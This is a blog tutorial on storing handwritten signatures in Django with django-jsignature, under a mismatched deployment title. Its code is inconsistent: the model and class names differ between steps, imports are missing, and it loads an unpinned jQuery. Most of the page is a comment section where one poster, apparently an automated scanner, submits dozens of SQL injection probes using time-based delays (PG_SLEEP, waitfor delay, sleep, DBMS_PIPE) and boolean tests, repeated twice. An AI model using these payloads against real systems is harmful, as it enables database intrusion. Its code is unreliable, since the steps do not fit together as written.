Django Project Deploy in cpenal
Oct 20, 2022
Writing using pen is a good experience when the requirment is to save signature or drawing. In this tutorial, jSignature is used to save the signature in database for further use.
1. Installation
pip install django-jsignature
2. Add in Setting.py
# Add globally
JSIGNATURE_WIDTH = 200
JSIGNATURE_HEIGHT = 100
JSIGNATURE_JQUERY = 'admin'
# JSIGNATURE_JQUERY = 'https://code.jquery.com/jquery-3.6.0.min.js'
INSTALLED_APPS = (
...
'jsignature',
)
3. Make Model
# models.py
from django.db import models
from jsignature.fields import JSignatureField
class SignatureModel(models.Model):
signature = JSignatureField()
4. Add in forms.py
class TestForm(forms.ModelForm):
signature = JSignatureField(widget=JSignatureWidget(jsignature_attrs={'color': '#e0b642', 'height': '200px'}))
class Meta:
model = Test
fields = ['signature']
5. Add in views.py
def test(request):
form = TestForm(request.POST or None)
if form.is_valid():
signature = form.cleaned_data['signature']
mydata=Test( signature=signature)
mydata.save()
else:
form=TestForm()
my_sig = Test.objects.first()
return render(request,'main/test.html',{'form': form,'my_sig':my_sig})
6. Use in your template for entering signature
{{ form.media }}
<form action="" method="post">
{{ form }}
<input type="submit" value="Save" />
{% csrf_token %}
</form>
7. Use in template to display signature
{% load jsignature_filters %}
<img src="{{ x.signature|signature_base64 }}" alt="{{ x}}" />
8. Include updated the jQuery library in Head tag
<script src="https://code.jquery.com/jquery-latest.min.js"></script>
I hope this will help!
Please share this page to friends.
Welcome to our Software Solutions Company, where we excel in transforming ideas into tangible realities. We have expertise in developing online management systems, website designing & development, software solutions, mobile app development, e-commerce solutions and graphic designing. We provide 24/7 services.
pHqghUme
Oct 29, 2024
@@VSUXZ
pHqghUme
Oct 29, 2024
����%2527%2522\'\"
pHqghUme
Oct 29, 2024
'"
pHqghUme
Oct 29, 2024
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
Oct 29, 2024
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
Oct 29, 2024
ss4orptI')) OR 824=(SELECT 824 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
P2S5HiMp') OR 147=(SELECT 147 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
l5CZuGV2' OR 402=(SELECT 402 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1)) OR 793=(SELECT 793 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1) OR 810=(SELECT 810 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1 OR 869=(SELECT 869 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
F5PCDl25'; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1 waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1); waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
Oct 29, 2024
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
Oct 29, 2024
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
Oct 29, 2024
*if(now()=sysdate(),sleep(15),0)
pHqghUme
Oct 29, 2024
-1" OR 3+358-358-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1" OR 2+358-358-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 3+598-598-1=0+0+0+1 or 'vIQudSZK'='
pHqghUme
Oct 29, 2024
-1' OR 2+598-598-1=0+0+0+1 or 'vIQudSZK'='
pHqghUme
Oct 29, 2024
-1' OR 3+746-746-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 2+746-746-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 3+216-216-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 2+216-216-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 3+237-237-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 2+237-237-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
pQe2YwGf
pHqghUme
Oct 29, 2024
@@jxqAl
pHqghUme
Oct 29, 2024
����%2527%2522\'\"
pHqghUme
Oct 29, 2024
'"
pHqghUme
Oct 29, 2024
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
Oct 29, 2024
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
Oct 29, 2024
ac49QGBl')) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
eogaEIET') OR 273=(SELECT 273 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
UtwQZRpZ' OR 753=(SELECT 753 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1)) OR 703=(SELECT 703 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1) OR 664=(SELECT 664 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
-1 OR 72=(SELECT 72 FROM PG_SLEEP(15))--
pHqghUme
Oct 29, 2024
b29bzjEf'; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1 waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1); waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
-1; waitfor delay '0:0:15' --
pHqghUme
Oct 29, 2024
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
Oct 29, 2024
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
Oct 29, 2024
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
Oct 29, 2024
*if(now()=sysdate(),sleep(15),0)
pHqghUme
Oct 29, 2024
-1" OR 3+863-863-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1" OR 2+863-863-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 3+684-684-1=0+0+0+1 or 'Oz0XHUvV'='
pHqghUme
Oct 29, 2024
-1' OR 2+684-684-1=0+0+0+1 or 'Oz0XHUvV'='
pHqghUme
Oct 29, 2024
-1' OR 3+790-790-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1' OR 2+790-790-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 3+259-259-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 2+259-259-1=0+0+0+1
pHqghUme
Oct 29, 2024
-1 OR 3+389-389-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
-1 OR 2+389-389-1=0+0+0+1 --
pHqghUme
Oct 29, 2024
a8zQyTHg